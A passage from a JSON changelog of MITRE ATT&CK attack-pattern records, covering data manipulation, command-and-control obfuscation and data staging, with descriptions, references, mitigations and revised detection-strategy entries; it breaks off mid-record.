"object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_impact_type": [ + "Integrity" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"File: File Deletion\", \"Process: OS API Execution\", \"File: File Metadata\", \"File: File Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:37.277000+00:00\", \"old_value\": \"2025-04-15 23:01:11.644000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Inspect important application binary file hashes, locations, and modifications for suspicious/unexpected values.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1022: Restrict File and Directory Permissions", + "M1030: Network Segmentation" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0022: File (File Creation)", + "DS0022: File (File Deletion)", + "DS0022: File (File Metadata)", + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0391: Detection Strategy for Runtime Data Manipulation." + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--1cfcb312-b8d7-47a4-b560-4b16cc677292", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-02 14:22:24.410000+00:00", + "modified": "2025-10-24 17:48:29.225000+00:00", + "name": "Stored Data Manipulation", + "description": "Adversaries may insert, delete, or manipulate data at rest in order to influence external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nStored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1565/001", + "external_id": "T1565.001" + }, + { + "source_name": "DOJ Lazarus Sony 2018", + "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.", + "url": "https://www.justice.gov/opa/press-release/file/1092091/download" + }, + { + "source_name": "FireEye APT38 Oct 2018", + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 17, 2024.", + "url": "https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_impact_type": [ + "Integrity" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"File: File Creation\", \"File: File Deletion\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:29.225000+00:00\", \"old_value\": \"2025-04-15 23:13:20.667000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Where applicable, inspect important file hashes, locations, and modifications for suspicious/unexpected values.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1022: Restrict File and Directory Permissions", + "M1029: Remote Data Storage", + "M1041: Encrypt Sensitive Information" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0022: File (File Creation)", + "DS0022: File (File Deletion)", + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0193: Detection Strategy for Stored Data Manipulation across OS Platforms." + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--d0613359-5781-4fd2-b5be-c269270be1f6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-02 14:27:00.693000+00:00", + "modified": "2025-10-24 17:49:25.162000+00:00", + "name": "Transmitted Data Manipulation", + "description": "Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nManipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1565/002", + "external_id": "T1565.002" + }, + { + "source_name": "DOJ Lazarus Sony 2018", + "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.", + "url": "https://www.justice.gov/opa/press-release/file/1092091/download" + }, + { + "source_name": "FireEye APT38 Oct 2018", + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 17, 2024.", + "url": "https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_impact_type": [ + "Integrity" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Traffic Flow\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:25.162000+00:00\", \"old_value\": \"2025-04-15 23:16:50.965000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detecting the manipulation of data as at passes over a network can be difficult without the appropriate tools. In some cases integrity verification checks, such as file hashing, may be used on critical files as they transit a network. With some critical processes involving transmission of data, manual or out-of-band integrity checking may be useful for identifying manipulated data. \"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1041: Encrypt Sensitive Information" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0254: Detection Strategy of Transmitted Data Manipulation" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:30:18.931000+00:00", + "modified": "2025-10-24 17:49:13.380000+00:00", + "name": "Data Obfuscation", + "description": "Adversaries may obfuscate command and control traffic to make it more difficult to detect.(Citation: Bitdefender FunnyDream Campaign November 2020) Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1001", + "external_id": "T1001" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + }, + { + "source_name": "Bitdefender FunnyDream Campaign November 2020", + "description": "Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.", + "url": "https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:13.380000+00:00\", \"old_value\": \"2025-04-15 19:58:57.412000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1031: Network Intrusion Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Traffic Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0053: Detect Obfuscated C2 via Network Traffic Analysis" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--f7c0689c-4dbd-489b-81be-7cb7c7079ade", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-15 00:30:25.444000+00:00", + "modified": "2025-10-24 17:49:38.011000+00:00", + "name": "Junk Data", + "description": "Adversaries may add junk data to protocols used for command and control to make detection more difficult.(Citation: FireEye SUNBURST Backdoor December 2020) By adding random or meaningless data to the protocols used for command and control, adversaries can prevent trivial methods for decoding, deciphering, or otherwise analyzing the traffic. Examples may include appending/prepending data with junk characters or writing junk characters between significant characters. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1001/001", + "external_id": "T1001.001" + }, + { + "source_name": "FireEye SUNBURST Backdoor December 2020", + "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.", + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:38.011000+00:00\", \"old_value\": \"2025-04-15 19:59:22.822000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1031: Network Intrusion Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Traffic Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0011: Detecting Junk Data in C2 Channels via Behavioral Analysis" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-15 00:40:27.503000+00:00", + "modified": "2025-10-24 17:49:20.574000+00:00", + "name": "Protocol or Service Impersonation", + "description": "Adversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts. By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic. \n\nAdversaries may impersonate a fake SSL/TLS handshake to make it look like subsequent traffic is SSL/TLS encrypted, potentially interfering with some security tooling, or to make the traffic look like it is related with a trusted entity. \n\nAdversaries may also leverage legitimate protocols to impersonate expected web traffic or trusted services. For example, adversaries may manipulate HTTP headers, URI endpoints, SSL certificates, and transmitted data to disguise C2 communications or mimic legitimate services such as Gmail, Google Drive, and Yahoo Messenger.(Citation: ESET Okrum July 2019)(Citation: Malleable-C2-U42)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1001/003", + "external_id": "T1001.003" + }, + { + "source_name": "Malleable-C2-U42", + "description": "Chris Navarrete Durgesh Sangvikar Andrew Guan Yu Fu Yanhui Jia Siddhart Shibiraj. (2022, March 16). Cobalt Strike Analysis and Tutorial: How Malleable C2 Profiles Make Cobalt Strike Difficult to Detect. Retrieved September 24, 2024.", + "url": "https://unit42.paloaltonetworks.com/cobalt-strike-malleable-c2-profile/" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + }, + { + "source_name": "ESET Okrum July 2019", + "description": "Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "James Emery-Callcott, Emerging Threats Team, Proofpoint" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "2.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:20.574000+00:00\", \"old_value\": \"2025-04-15 19:59:05.377000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)\"}}}", + "previous_version": "2.1", + "changelog_mitigations": { + "shared": [ + "M1031: Network Intrusion Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Traffic Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0470: Detecting Protocol or Service Impersonation via Anomalous TLS, HTTP Header, and Port Mismatch Correlation" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--eec23884-3fa1-4d8a-ac50-6f104d51e235", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-15 00:37:58.963000+00:00", + "modified": "2025-10-24 17:49:35.060000+00:00", + "name": "Steganography", + "description": "Adversaries may use steganographic techniques to hide command and control traffic to make detection efforts more difficult. Steganographic techniques can be used to hide data in digital messages that are transferred between systems. This hidden information can be used for command and control of compromised systems. In some cases, the passing of files embedded using steganography, such as image or document files, can be used for command and control. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1001/002", + "external_id": "T1001.002" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "ESXi" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:35.060000+00:00\", \"old_value\": \"2025-04-25 14:48:29.907000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1031: Network Intrusion Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Traffic Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0235: Detecting Steganographic Command and Control via File + Network Correlation" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:30:58.938000+00:00", + "modified": "2025-10-24 17:49:01.010000+00:00", + "name": "Data Staged", + "description": "Adversaries may stage collected data in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.(Citation: PWC Cloud Hopper April 2017)\n\nIn cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020)\n\nAdversaries may choose to stage data from a victim network in a centralized location prior to Exfiltration to minimize the number of connections made to their C2 server and better evade detection.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1074", + "external_id": "T1074" + }, + { + "source_name": "Mandiant M-Trends 2020", + "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved November 17, 2024.", + "url": "https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf" + }, + { + "source_name": "PWC Cloud Hopper April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.", + "url": "https://web.archive.org/web/20220224041316/https:/www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Praetorian", + "Shane Tully, @securitygypsy" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "IaaS", + "Linux", + "macOS", + "ESXi" + ], + "x_mitre_version": "1.5", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Access\", \"File: File Creation\", \"Windows Registry: Windows Registry Key Modification\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:01.010000+00:00\", \"old_value\": \"2025-04-15 19:58:45.225000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.\\n\\nMonitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n\\nConsider monitoring accesses and modifications to storage repositories (such as the Windows Registry), especially from suspicious processes that could be related to malicious data collection.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n-\\n-Consider monitoring accesses and modifications to storage repositories (such as the Windows Registry), especially from suspicious processes that could be related to malicious data collection.\"}}}", + "previous_version": "1.5", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)", + "DS0022: File (File Creation)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0014: Detection of Data Staging Prior to Exfiltration" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-13 21:13:10.467000+00:00", + "modified": "2025-10-24 17:48:28.868000+00:00", + "name": "Local Data Staging", + "description": "Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.\n\nAdversaries may also stage collected data in various available formats/locations of a system, including local storage databases/repositories or the Windows Registry.(Citation: Prevailion DarkWatchman 2021)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1074/001", + "external_id": "T1074.001" + }, + { + "source_name": "Prevailion DarkWatchman 2021", + "description": "Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.", + "url": "https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Massimiliano Romano, BT Security" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"Windows Registry: Windows Registry Key Modification\", \"File: File Access\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:28.868000+00:00\", \"old_value\": \"2025-04-15 19:58:11.270000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.\\n\\nMonitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n\\nConsider monitoring accesses and modifications to local storage repositories (such as the Windows Registry), especially from suspicious processes that could be related to malicious data collection.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n-\\n-Consider monitoring accesses and modifications to local storage repositories (such as the Windows Registry), especially from suspicious processes that could be related to malicious data collection.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)", + "DS0022: File (File Creation)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0261: Detection of Local Data Staging Prior to Exfiltration" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--359b00ad-9425-420b-bba5-6de8d600cbc0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-13 21:14:58.206000+00:00", + "modified": "2025-10-24 17:48:38.453000+00:00", + "name": "Remote Data Staging", + "description": "Adversaries may 